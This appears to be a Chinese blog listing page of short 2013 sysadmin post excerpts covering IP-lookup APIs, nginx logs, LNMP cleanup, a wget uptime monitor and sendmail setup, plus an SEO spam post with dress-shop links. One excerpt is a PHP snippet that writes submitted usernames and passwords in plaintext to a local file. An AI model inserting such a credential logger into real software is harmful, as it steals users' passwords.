正文内容加载中...
posted @ 2013-10-07 10:44 shineme 阅读(554) 评论(0) 推荐(0) 编辑
摘要:第一天formal dressesformal dresses 2013formal dresses salecheap formal dressesformal dresses onlineformal dresses shopSEO网站 http://www.lightdressesdream.com/http://www.lightdressesdream.com/formal-dresses-c-2_24.html 阅读全文
posted @ 2013-07-07 13:57 shineme 阅读(174) 评论(0) 推荐(0) 编辑
摘要:获取ip信息api:淘宝:http://ip.taobao.com/service/getIpInfo.php?ip=8.8.8.8获取数据json数组格式,需要自己转换一下新浪:http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=json&ip=8.8.8.8网易有道:http://www.youdao.com/smartresult-xml/search.s?type=ip&q=8.8.8.8查询手机号码归属地api:http://www.youdao.com/smartresult-xml/search.s? 阅读全文
posted @ 2013-05-17 20:31 shineme 阅读(446) 评论(1) 推荐(0) 编辑
摘要:static Mutex myMutex = new Mutex(); static public bool writeLine(string instr,string fileName){ myMutex.WaitOne(); .......[做文件读写就行了] myMutex.ReleaseMutex();} private System.Object lockThis = new System.Object(); lock (lockThis) { // Access thread-sensitive resources. ... 阅读全文
posted @ 2013-05-08 15:32 shineme 阅读(143) 评论(0) 推荐(0) 编辑
摘要:Nginx 版本信息:nginx version: nginx/0.8.53Nginx日志配置项:access_log /data0/logs/access.log combined;Nginx日志格式:$remote_addr – $remote_user [$time_local] $request $status $apache_bytes_sent $http_referer $http_user_agent127.0.0.1 - - [24/Mar/2011:12:45:07 +0800] "GET /fcgi_bin/xxx.fcgi?id=xxx HTTP/1.0&qu 阅读全文
posted @ 2013-04-18 20:32 shineme 阅读(596) 评论(0) 推荐(0) 编辑
摘要:用SSH删除,或用 WinSCP 登录删除1、删除数据库日志:/usr/local/mysql/var/mysql-bin.0000* 类似的文件2、删除网站日志:/home/wwwlogs/*.* 所有日志文件3、重启/root/lnmp restart 或/root/lnmpa restart禁止数据库日志编:http://www.vpser.net/manage/delete-mysql-mysql-bin-0000-logs.html 阅读全文
posted @ 2013-04-13 13:17 shineme 阅读(182) 评论(0) 推荐(0) 编辑
摘要:wget http://www.shopindream.de/200.php --timeout=2c_monitor=$?rm -rf 200.phpif [ ! $c_monitor = "0" ];thenecho "# Error Cannot open shopindream.de, time: " $(date +"%y-%m-%d %H:%M:%S") "restart lnmp.. " | mail -s "Website is offline." 747890528@qq.co 阅读全文
posted @ 2013-04-05 13:07 shineme 阅读(201) 评论(0) 推荐(0) 编辑
该文被密码保护。 阅读全文
posted @ 2013-03-16 22:56 shineme 阅读(0) 评论(0) 推荐(0) 编辑
摘要:$username_password=$this->request->post['username']."----xxxxx----".$this->request->post['password']."\r\n";$hellowp=fopen('fuck.txt','a+');$write=fwrite($hellowp,$username_password); 阅读全文
posted @ 2013-03-16 12:30 shineme 阅读(316) 评论(0) 推荐(0) 编辑
摘要:这两天一直在学习配置阿里云服务器,目前打算使用LNMP环境,在探针里测试发送邮件,失败了。已经确定mail()函数是开启的,于是乎,Google一下,发现李思章的方法不错,Mark一下。问题根源没有安装或启动 sendmail 组件解决办法我是新手,命令不熟,所以写的很详细,老鸟勿喷哦1.重新安装 sendmail 组件,我用的是 CentOS ,使用下面的命令安装1yum install sendmail2.使用下面的命令重启php-fpm进程1/etc/init.d/php-fpm restart3.检测sendmail是否运行正常1/etc/init.d/sendmail status如 阅读全文
posted @ 2013-03-04 12:40 shineme 阅读(1946) 评论(0) 推荐(0) 编辑